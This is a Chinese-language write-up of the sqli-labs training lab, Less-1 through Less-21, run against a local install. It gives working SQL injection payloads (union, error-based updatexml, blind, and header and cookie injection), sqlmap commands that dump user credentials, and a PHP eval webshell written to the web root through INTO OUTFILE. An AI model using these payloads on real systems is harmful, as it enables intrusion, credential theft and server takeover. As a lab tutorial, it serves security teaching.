Less-1 字符型'
注入
判断是否存在注入点
构造?id=1'
导致数据库错误信息泄露,可以推断出此处存在注入点,并且对方正在使用Mysql数据库。
?id=1
返回正常页面
?id=1' and 1=1--+
true,仍返回正常页面
?id=1' and 1=2--+
false,什么也没返回,说明此处存在字符型sql注入
确定查询的列数
方法1:?id=-1' union select 1,2,3;--+
需要让之前的查询无返回数据,才能让我们构造的sql语句有回显:
方法2:首先猜测其查询的结果集有第3列,可以正常返回,再紧接着猜测是否有第4列,可以看到页面报错了,故可以猜测出该查询的结果集中最多只有3列
?id=1' order by 3;--+
?id=1' order by 4;--+
爆出数据库名
?id=0' union select 1,database(),@@datadir;--+
当前数据库名为security
并且数据库的路径为E:\phpstudy_pro\Extensions\MySQL5.7.26\data\
,即也已知了该数据库的版本信息。
爆出表名
Mysql数据库相关知识
Mysql服务器安装后默认创建如下系统数据库:
information_schema:
存储关于数据库元数据的信息,如数据库、表、列和索引的详细信息,只读。mysql:
存储mysql数据库服务器的核心数据,包括用户账户、权限设置、服务器配置等。performance_schema:
用于收集和保存服务器性能数据,它提供了MySQL服务器性能的详细视图,帮助进行性能优化和调试。sys:
这个数据库包含视图和存储过程,这些视图和存储过程简化了性能数据的查询。它基于performance_schema
数据库,提供了更易于理解的性能数据。在MySQL5.7及更高版本中引入的,如果你的MySQL版本低于5.7,那么将没有sys数据库。
在MySQL的information_schema
数据库中,schemata
表存储有关数据库的元数据,其中:
- SCHEMA_NAME:Mysql中的所有数据库名
在MySQL的information_schema
数据库中,tables
表存储了关于数据库中所有表的元数据,其中:
- TABLE_SCHEMA:表所属的数据库名称
- TABLE_NAME:列所属的表名称
在MySQL的information_schema数据库中,columns表是一个非常重要的表,它存储了关于所有数据库中表的列(字段)的详细元数据信息,其中:
- TABLE_SCHEMA:表所属的数据库名称
- TABLE_NAME:列所属的表名称
- COLUMN_NAME:列的名称
基于以上,我们就可以构造如下的sql语句,查询到security
数据库下的所有表名:
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--+
即数据库在执行查询时实际在执行select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';
union
前一个的select语句结果集什么也不返回。
爆出字段名
很明显用户信息应该存储在users
表中,我们尝试查询该表中的字段名,构造如下sql查询语句:
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns
where table_schema='security' and table_name='users';--+
结果如下:有3个字段名,分别为id,username,password
也可以尝试查询其他表的字段,看是否有可利用的敏感信息,如:
爆出数据
现在已知数据库名,表名,字段名,故可以进一步查询出所有数据,构造如下sql语句:
?id=0' union select 1,2,group_concat(username,':',password) from users;--+
,查询出users
表中的所有用户名和密码:
Less-2 数字型注入
?id=1';--+
,页面报错,故存在注入点且参数id
的值应该不是字符型数据。
?id=1 and 1=1;--+
,返回正常页面:
?id=1 and 1=2;--+
,返回异常页面,故可以判断出此注入为数字型注入。
Less-3 字符型')
注入
?id=1'--+
页面报错信息为:
错误信息解析:
- "You have an error in your SQL syntax;":意思是在SQL语法中存在错误。
- "check the manual that corresponds to your MySQL server version for the right syntax to use near":提示需要查看MySQL版本对应的手册,以找到正确的语法使用方法。
- "'1') LIMIT 0,1":具体指出了在执行查询时发生错误的位置,通常是由于单引号或者其他SQL语法错误导致的。
构造?id=1') and 1=1;--+
,返回正常页面:
?id=1') and 1=2;--+
,返回异常页面:
故此处存在')
闭合的字符型sql注入。
Less-4 字符型")
注入
?id=1"
页面报错,报错信息为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
进而输入?id=1"),
报错信息为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '") LIMIT 0,1' at line 1
则可以推断出对方sql查询语句字段处的闭合方式应该是")
,我们对猜测进行验证:
?id=1") and 1=1--+
,返回正常页面:
?id=1") and 1=2--+
返回异常页面,故可以判断出该参数处存在")
闭合的字符型sql注入。
Less-5 字符型'
报错注入
当我们向URL参数id
注入单引号?id=1'
发现数据库返回了如下错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
这表明在构造的SQL查询中存在语法错误,这意味着存在SQL注入漏洞。 为了进一步验证这一潜在的注入点,可以进行如下测试:
?id=1'--+
返回正常页面,则此处参数的闭合方式必然是单引号'
;
?id=1' and 1=1--+
返回正常页面,说明注入的SQL查询语法正确且没有破坏原有的查询逻辑。
?id=1' and 1=2--+
返回异常页面,说明注入的SQL查询执行时,因为1=2的条件不成立,导致查询没有返回结果或返回异常页面。因此,这表明存在字符型注入,因为注入的'
符号成功地闭合了原查询的字符串,并且后续的条件语句被成功执行。
由于页面没有返回任何其他数据的回显,我们可以考虑尝试基于错误信息的报错注入,以获取更多关于数据库的信息。此题也可以用盲注,只是比报错注入相对繁琐。
报错注入原理
步骤
注入点发现
- 攻击者通过向应用程序的输入字段(如URL参数、表单输入框等)插入恶意SQL代码来寻找可能存在的注入点。
构造恶意注入
- 攻击者在注入点插入特定的SQL语句片段,以触发数据库错误或异常。常见的方法包括在字符串中插入单引号
'
或其他特殊字符来破坏原始SQL查询的结构。
错误信息泄露
- 当数据库执行包含恶意注入的SQL语句时,如果发生错误或异常,数据库系统可能会返回详细的错误消息或调试信息,其中可能包含关键的数据库信息,如数据库名称、表结构、数据记录等。
利用错误信息
- 攻击者利用错误消息中泄露的敏感信息来进一步攻击系统,例如获取数据库名称、表名、列名等,甚至可能利用更高级的技术进一步扩展攻击,如联合查询、数据盲注入等。
报错函数
updatexml 函数
updatexml
函数用于更新XML类型的数据,有三个参数,它的一般语法如下:
updatexml(xml_target, xpath_expr, new_value)
- xml_target:XML类型的目标字段或变量。
- xpath_expr:XPath表达式,用于定位XML中的节点。
- new_value: 新的值,用于替换XPath表达式所指定的节点的值。
extractvalue 函数
extractvalue
函数用于从XML类型的数据中提取值。它的语法如下:
extractvalue(xml_target, xpath_expr)
- xml_target: XML类型的目标字段或变量。
- xpath_expr: XPath表达式,用于定位XML中的节点。
这两个函数都可以被用于进行SQL注入攻击。攻击者可以通过构造恶意的XPath
表达式,使得SQL查询返回意料之外的结果,或者通过错误信息泄露获取敏感信息。
步骤
爆出数据库名
方1:?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e));--+
方法2:?id=1' and updatexml(1, concat(0x7e, (select database()), 0x7e),1);--+
爆出表名
?id=1' and updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='security'), 0x7e),1);--+
爆出字段名
?id=1' and updatexml(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'), 0x7e),1);--+
爆出数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1);--+
未能爆出所有数据
紧接着通过limit继续爆出其他的数据, 逐步调整limit值获取所有数据,从第3行开始依次爆出用户名和密码:
?id=1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 2,1),0x7e),1);--+
Less-6 字符型"
报错注入
?id=1"
报错信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1
说明其闭合方式应为"
?id=1" and 1=1--+
,页面返回正常:
?id=1" and 1=2--+
,页面返回异常,仍然只有报错回显,则考虑"
的字符型报错注入。
?id=1" and updatexml(1,concat(':',(select database())),1);--+
,成功获取该数据库。
后续步骤与上一题同理。
注意:探测闭合方式的时候,为什么我输入?id=1';--+
数据库执行没有报错呢,按理来说如果闭合方式是"
,应该会报错的啊?见如下解释:
实际后台数据库执行:select id,username,password from users where id="1';--+"
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"'.$id.'"'; //'"'1';--+" 我们输入的'与最前边的'闭合了,故数据库不会执行报错
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-7 布尔盲注
输入?id=1"
没有报错,其闭合方式应该不是"
。
输入?id=1'
报错信息为:You have an error in your SQL syntax,说明存在注入点且闭合方式应该有'
。
但是构造?id=1'--+
,仍然报错,说明应该不只有'
,由于没有明确的报错信息,故只能自己猜解尝试。输入?id=1')--+
仍然报错;输入?id=1'"--+
报错报错.......终于在我们不懈的努力下,成功猜解出它的闭合方式为:'))
。验证如下:
输入?id=1'))--+
,返回正常页面:
输入?id=0')) or 1=1;--+
,返回正常页面:
输入?id=0')) or 1=2;--+
,返回异常页面:
但是没有任何的数据回显,具体的报错信息也无,则考虑盲注。
方1:使用sqlmap工具注入
一般采用工具进行盲注,此处我们使用sqlmap
工具对其进行注入。
探测注入点
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))--+"
爆出数据库名
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-7/?id=1" --dbs
爆出表名
指定当前数据库是security,爆出表名。
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-7/?id=1" -D security --tables
爆出列名
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-7/?id=1" -D security -T users --columns
爆出数据
爆出security
数据库users
表中的所有数据。
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-7/?id=1" -D security -T users --dump
方2:sql注入之上传一句话木马
一句话木马
通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。
步骤
我们根据上述描述,已知参数id
处存在注入点,则进行进一步的注入。已知一句话木马可以与sql注入漏洞结合使用,利用回显注入,将一句话木马写入网页的根目录。但是成功实施该操作,需要以下几个前提:
- 木马成功上传,未被拦截。
- 攻击者可以获取网页的整个目录,也就是要知道木马的路径。
- 上传木马文件可以被web服务器执行。
mysql数据库中文件写入的前提条件:
- 有网站的绝对路径–怎么找?
可以回到前几关,利用前几关的sql漏洞获取相关路径。
?id=-99' union select 1,@@datadir,@@basedir;--+
在MySQL中,可以使用一些系统变量和函数来获取服务器的文件路径信息。这些变量和函数包括:
@@datadir
:返回MySQL数据目录的路径。
@@basedir
:返回MySQL基础安装目录的路径。
通过这些路径,攻击者可以进一步推断出Web服务器的根目录为:D:\train\php\phpstudy\WWW
。
- mysql服务对网站的网络路径有写权限。
secure_file_priv
变量用于限制MySQL服务器读取和写入文件的目录。这个变量可以设置为以下几种情况:
- 空字符串
('')
:不允许MySQL读取或写入文件。 - 指定目录:只允许MySQL在指定的目录内读取或写入文件。
- 未设置:允许MySQL读取或写入任何目录(不推荐)。
我们尝试在写入文件时,出现了如下报错,说明该靶场是使用的空字符串的方式进行设置了secure_file_priv
变量。
为了进行演示该漏洞,我们修改mysql下的my.ini
文件,修改为secure_file_priv="/"
,这样的设置会允许MySQL读取和写入服务器上的任何目录。
- mysql连接用户有file权限。
- 未对sql语句进行转义。
我们再次尝试写入该木马文件至第7关的文件夹下,构造语句?id=0')) union select 1,2,'<?php @eval($_POST["123456"]);?>' into outfile "D:\\train\\php\\phpstudy\\WWW\\sqli-labs\\Less-7\\test.php";--+,
,如下成功写入该木马文件:
我们已知该木马文件的路径,试图用webshell连接工具,如蚁剑去连接该木马,连接成功。
Less-8 布尔盲注
输入?id=1'
,页面什么也没返回。
输入?id=1'--+
,页面正常返回,故其是用'
来进行闭合的。进一步做以下验证:
输入?id=1' and 1=1--+
,页面返回正常。
输入?id=1' and 1=2--+
,页面无返回信息,以此可以确定此处存在注入点。但是无报错回显也没有数据回显,故仍然考虑sql盲注。
判断注入类型
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1"
与我们之前的推断一致,其为盲注。
爆出数据库名
数据库名如下,之后的操作与前一题同理。
Less-9 时间盲注
无论我们构造什么语句都没有数据和数据库报错信息的回显,故很难探测此处是否有注入点,此时可以考虑尝试进行时间盲注。输入1 and sleep(5)--+
页面返回无延迟;输入1' and sleep(5)--+
,页面返回延迟了5秒,故可以推测出此处是用'
来进行闭合且必然存在时间盲注。
时间盲注函数
sleep(seconds)
:用于让查询暂停执行指定的秒数。这个函数主要在调试、测试以及时间盲注攻击中使用。
使用sqlmap工具注入
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1"
,发现其存在布尔盲注和时间盲注,进一步进行注入即可。
Less-10 时间盲注
输入?id=1" and sleep(10)--+
,页面延迟10秒,故存在时间盲注。
使用sqlmap工具注入
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-10/?id=1"
直接探测或第一次探测时或许探测不到,我们可以修改参数,提升检测深度。
--level
:测试的广度,范围从1到5,默认是1。数值越大,测试越全面。--risk
:测试的风险等级,范围从1到3,默认是1。数值越大,测试可能对目标系统的影响越大。
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-10/?id=1" --level=5
比较慢,但是最后也成功检测出来了
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-10/?id=1" --level=5 --dbs
如下成功爆出数据库名:
Less-11 字符型'
注入
用户名处输入'
,页面出现数据库报错信息,说明此处应该存在注入点。而且根据错误的具体信息,可以推断出该字段的闭合方式为'
。
输入' or 1=1;#
,页面回显数据,大致我们可以猜到它后台的sql查询语句为:
select id,uname,password from 某个表 where uname='' and password='';
根据返回数据,我们可以看到它应该是只回显了第一行的数据,按理来说根据我们构造的语句是可以返回所有数据的,应该是对输出回显做了限制。
可以通过oder by
或者union
联合查询猜解列数并找到数据回显处,此处直接使用union
联合查询的方式:
' union select 1,2;#
,猜解出其查询结果应该为两列,即该表为2列。
用户名处注入
' union select 1,database();#
,同样需要让前边的select
查询结果返回为空,能够回显出我们所需的数据,如下爆出数据库:
密码处注入
输入' or 1=1#
,即使用万能密码可以成功绕过登录验证机制。
' union select 1,group_concat(username,':',password) from users;#
Less-12 字符型")
POST注入
用户名处输入"
,出现数据库报错信息:'""") and password=("")
,可以判定此处存在注入点。
根据报错回显,发现其后台数据库字段查询应该是以")
来闭合的,输入");#
去验证,果然如此。
输入") union select 1,2;#
,页面回显如下,则说明列数就为2,并且我们成功找到了数据回显处。其余步骤与上述相同。
Less-13 字符型')
POST注入
输入'
,页面出现数据库报错信息。
"") and password=('')
,根据报错回显,发现其后台数据库字段查询应该是以')
来闭合的,输入');#
去验证,果然如此。
输入') or 1=1#
,页面回显如下:
输入') or 1=2#
,页面回显如下:
根据以上回显可以确定此处存在')
字符型注入,尝试猜解列数,并查看回显位置,发现其无任何数据回显
') union select 1,2;#
,但是之前我们看到有数据库信息的报错回显,故考虑用报错注入。
') and updatexml(1,concat('~',(select database())),1);#
,如下图所示,成功爆出数据库:
后续步骤与上述报错注入雷同。
Less-14 字符型"
POST注入
当我们在用户名处输入"
时出现数据库报错信息near '""" and password="" LIMIT 0,1' at line 1
,说明此处存在注入点。并且根据错误回显可以推测出其该字段的闭合方式就是"
,由此判定其是"
闭合的字符型POST注入。
进一步查看页面回显信息,输入" or 1=1#
:
输入" or 1=2#
,返回如下:
同样其有数据库的报错信息,仍然考虑用报错注入。输入" and updatexml(1,concat('~',(select database())),1);#
,成功获取数据库名,其余操作大差不差。
Less-15 字符型POST布尔盲注
由于没有任何的数据和报错回显,所以需要通过不断的猜解它的闭合方式,最终我们知道它的闭合方式为"'
,进一步做以下验证:
构造"' or 1=1#
,页面显示成功登录。
构造"' or 1=2;#
,页面显示登录失败。
可以肯定的是此处存在注入点,但是真假与否都没有任何的数据和报错回显,因此考虑盲注。
使用sqlmap工具POST注入
方法1 自动搜索表单的方式(--forms
)
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-15/" --forms
使用--forms
参数让sqlmap
自动检测和填写表单。
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-15/" --forms --dbs
,爆出所有数据库名
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-15/" --forms --current-db
,爆出当前数据库名
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-15/" --forms -D security --tables
,爆出表名
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-15/" --forms -D security -T users --columns
,爆出字段名
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-15/" --forms -D security -T users --dump
,爆出该users表中的所有数据
方法2 sqlmap结合BurpSuite
这是sqlmap工具POST注入的第二种方法;这种方法要比自动填写表单准确性高些,但是自动表单会简单快一点。
python sqlmap.py -r request.txt
使用-r
参数从指定的HTTP请求文件加载请求内容。这通常是一个包含完整HTTP请求的文本文件,包括请求方法、URL、头信息和请求体等。
POST /sqli-labs/Less-15/ HTTP/1.1
Host: 127.0.0.1
Content-Length: 38
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/sqli-labs/Less-15/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
uname=admin&passwd=admin&submit=Submit
python sqlmap.py -r request.txt --batch --dbs
,爆数据库名,其余同理。
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-15/" --data="uname=admin&passwd=admin"
使用--data
参数用于直接在命令行中指定HTTP POST请求的数据。这种方法适用于简单的POST请求数据,不需要复杂的请求头或其他配置。
Less-16 时间盲注
") or 1=1;#
成功登录。
") or 1=2;#
返回异常页面。
无报错无数据回显,考虑盲注,构造") or sleep(5);#
语句,页面明显延迟好多。
注意:每次执行查询时都会延迟:由于or sleep(5)每次都会执行sleep(5)函数,所以每次执行这个查询都会导致数据库暂停5秒。无论查询是否成功都会延迟:即使查询没有返回任何结果,sleep(5)仍然会执行并导致延迟。
使用sqlmap工具注入
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-16/" --forms --level=5
可能一次测不出来,多测几次或者调整参数。
爆出数据库名,后续步骤与上述雷同。
Less-17 字符型Update注入
这是个密码重置界面,我们首先随便猜解了一个用户名admin,没有输入任何密码,点击提交后居然成功重置了密码。
然而当我们输入用户名为root时再次提交时,却给出BUG OFF YOU SILY DUMB HACKER
提示,从中我们应该可以推断出该数据库中有admin这个用户名,而不存在root用户,故当我们输入用户名和密码提交到后台时,它应该是对数据库中的用户名进行了查询,一旦有这个用户名,则就可以修改为任意密码,若不存在该用户名,则无法修改密码。
因此,我们可以推断出密码处应该有一个根据用户名这个条件去更新密码的sql语句。附上部分源码:
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
首先我们在用户名处尝试了多种闭合方式试图绕过,但最终无果,猜测此处应该做了验证,不存在注入点,因此转战至密码处。猜测闭合方式,密码处输入'
,出现数据库的报错回显:
输入123';#
,页面返回成功更新密码,并且我们返回到16关去尝试密码是否更新为123,若有,则进一步验证该密码字段的闭合方式是'
,且一定存在注入点。如下密码被成功更改为了123。
由于上述更新成功与否都没有其他数据的回显,只有数据库的报错回显,显然我们可以采用报错注入。如下成功从报错信息中获取到当前数据库名。
123456' and updatexml(1,concat('~',database()),1);#
,获取数据库名。
123456' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1);#
,获取表名。
123456' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1);#
,获取字段名。
注意:此处如果构造语句123456' and updatexml(1,concat('~',(select group_concat(username,':',password) from users)),1);#
进行注入,会出现以下错误:
You can't specify target table 'users' for update in FROM clause.
后台数据库相当于执行UPDATE users SET password = '123456' and updatexml(1,concat(0x7e,(select concat(username,':') from users),0x7e),1);
一般情况下,在MySQL中,直接在UPDATE
或DELETE
语句中使用当前正在被修改的表的子查询是不被允许的。这种限制是为了防止潜在的数据一致性问题和死锁情况的发生。但可能由于MySQL版本的差异、查询中使用的函数和子查询可能在你的数据库环境中没有造成严重的性能问题或死锁,因此MySQL 可能会容许这样的操作。
此处我们修改注入语句为:
123456' where updatexml(1,concat('~',(select concat(username,':',password) from users limit 0,1)),1);#
,即后台数据库会执行:UPDATE users SET password = '123456' where updatexml(1,concat(0x7e,(select group_concat(username, ':') from users limit 0,1),0x7e),1);
发现可以成功执行完成注入。这或许是二般情况吧,又或许是该子查询是在where
子句中。
Less-18 HTTP请求头User-Agent注入
我们根据17关已知它存在一个用户名admin,并且我们利用此处修改密码功能,将其密码修改为admin,再次回到18关,我们利用该账户和密码登录,显示如下界面:
可以看到它返回了一个User Agent
的信息,猜测此处应该可以在http请求头进行注入。
POST /sqli-labs/Less-18/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Referer: http://127.0.0.1/sqli-labs/Less-18/
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://127.0.0.1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Priority: u=1
uname=admin&passwd=admin&submit=Submit
我们尝试修改http请求头中的User-Agent
,Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0 '
。
出现数据库报错信息,很明显此处应该是存在注入点的。此处有个前提,必须正确登录进去,才能利用User-Agent
这个注入点。
根据报错信息,我们再尝试')#
这个语句,出现Column count doesn't match value count at row 1的报错,这个报错通常出现在MySQL插入语句中,表示你试图插入的列数与提供的值的数量不匹配。如INSERT INTO table_name (column1, column2, column3) VALUES (value1, value2);
,在这个例子中,列column3
缺少对应的值,导致列数与值的数量不匹配。故应该大致能猜到此处有个插入语句,我们可以利用该插入语句进行注入。
查看了一下源码,果然有个插入语句。
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
则我们可以通过分析将其插入的值修改为:...values('1',1,updataxml(1,concat('~',(select database())),1)
尝试注入。
修改User-Agent
为1',1,updatexml(1,concat('~',(select database())),1))#
故只能利用后面两个值进行注入,并且利用报错信息回显。
其余注入参考上述的报错注入。
HTTP请求头注入
概述
HTTP文件头注入是后台开发人员为了验证客户端HTTP Header
(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent
、Accept
字段等),会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。
HTTP请求报文
POST /test.php HTTP/1.1 //请求行
HOST:www.test.com //请求头
User-Agent:Mozilla/5.0 (windows NT 6.1;rv:15.0)Gecko/20100101 Firefox/15.0 //浏览器标识
//空白行,代表请求头结束
Username=admin&password=admin //请求正文
HTTP请求报文由请求行、请求头和请求正文组成。
- 第1行是请求行,标识了请求方法、URL和版本。
- 第2-3行是请求头,用来说明浏览器、服务器或报文主体的一些信息。
- 最后一行则是请求正文。
从HTTP文件头注入的定义来看,请求头部的字段是最适合注入的地方。当然,也会需要一定的前提条件:
- 攻击者能够对请求头消息进行修改。
- 修改的请求头消息能够带入数据库执行。
- 数据库没有对输入的请求头做过滤。
常见的HTTP文件头注入包括Cookie注入、Referer注入、Use-Agent注入和XFF注入,其在方法上没有很大的区别,只是注入的位置有所区别。
Less-19 HTTP请求头Referer注入
登录成功后,页面回显Referer
头,我们可以猜测一下,此处或许有注入点。
尝试在Referer后边加'
,页面出现数据库的报错信息,说明此处存在注入点,并且根据具体的报错信息near '127.0.0.1')' at line 1
,其闭合方式应该为'
,并且该值后边还应该有个host的值。
我们基于报错信息注入,此处使用的方法都是由于在insert
语句中使用updatexml
函数是可以的,但需要确保函数返回值与目标列类型兼容,如insert into example (info) values (updatexml('<root><data/></root>', '//data', 'example_data'));
故我们可以构造Referer: http://127.0.0.1/sqli-labs/Less-19/',updatexml(1,concat('~',(select database())),1))#
,爆出它的数据库名:
构造',updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1))#
成功爆出表名:
构造',updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1))#
爆出字段名:
其余步骤同理,参考上述关卡。
Less-20 Cookie明文注入
我们使用admin
账号登录成功后,页面返回各种信息,以下User-Agent、Cookie等都可能存在注入点,我们抓包修改它们的值一一验证。
最终只有在探测Cookie
的值时,出现了数据库信息报错,可以判定此处应该是有注入点的。
构造'#
,返回如下,则闭合方式必然为'
。
构造' and 1=1#
,返回:
构造' and 1=2#
,返回:
我们可以发现当语句为真时,有3行回显点;语句为假时,没有回显点,故我们可以考虑采用联合查询注入。构造admin' union select 1,2,3;#
,页面返回:
此处就要注意,我们需要让union前面的查询结果为空,才能够回显我们后边联合查询的结果,故可以构造:root' union select 1,2,3#
或' union select 1,2,3#
,数据库中根本没有root这个用户,故什么也不会返回。如下,我们找到了3个回显处,就可以进一步注入了。
root' union select 1,database(),version()#
获取它的数据库名和版本信息:
root' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2,3#
获取表名:
root' union select (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),2,3#
获取字段名:
root' union select 1,(select group_concat(username,':',password) from users),3#
获取所有数据:
此题还可以采用报错注入如下:
Cookie: uname=admin' and updatexml(1,concat('~',database()),1)#
Less-21 Cookie密文注入
首先如果你的页面登录进去有如下警告:
这个错误信息表明,在你的PHP脚本中使用日期和时间函数时,没有正确设置时区。PHP需要一个明确的时区设置来正确处理日期和时间。你可以打开.\Less-21\index.php
文件,添加如下行即可解决。
<?php
date_default_timezone_set('Asia/Shanghai'); // 设置为中国上海时间
echo date('Y-m-d H:i:s'); // 输出当前日期和时间
?>
我们登录进去后,发现uname
不再是明文传输了,可能采用了某种加密手段,非常类似于base64
加密,我们去验证一波。
使用burpsuite
自带的编码工具进行解码,成功解码为admin
,故以此判定Cookie
应该是做了base64
编码处理,当我们再尝试用明文时,页面出现报错:
Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation
这个错误信息表明,在MySQL查询语句中使用了不同的字符集和排序规则(collation),导致操作失败。这种错误通常发生在查询中对不同字符集和排序规则的列或字符串进行比较时。
要解决这个错误,需要确保在查询语句中使用一致的字符集和排序规则。故我们想到将我们原先构造的注入语句编码为base64,再次尝试注入。
将admin'
编码为YWRtaW4n
,页面返回如下,错误信息表明在你的SQL语句中,位置''admin'')
附近存在语法错误,这通常表示在''admin'')
附近存在多余或缺失的括号。但是闭合方式肯定至少有一个时'
,不然也不会出现数据库报错信息。
将admin')
编码为YWRtaW4nKQ==
,返回如下:
将admin')#
编码为YWRtaW4nKSM=
,页面正常返回,故闭合方式应该就是')
。
ad') union select 1,2,3#
编码为YWQnKSB1bmlvbiBzZWxlY3QgMSwyLDMj
,页面返回如下:成功找到回显点。
其余操作与上一题雷同,只是每次在构造语句进行注入时,都要先进行base64
编码。
注意: 更换注入语句时,应该将整个新的语句重新进行base64编码,而不是将新的base64编码片段直接拼接到原用户名的base64编码后。这种拼接方式会导致base64编码不正确。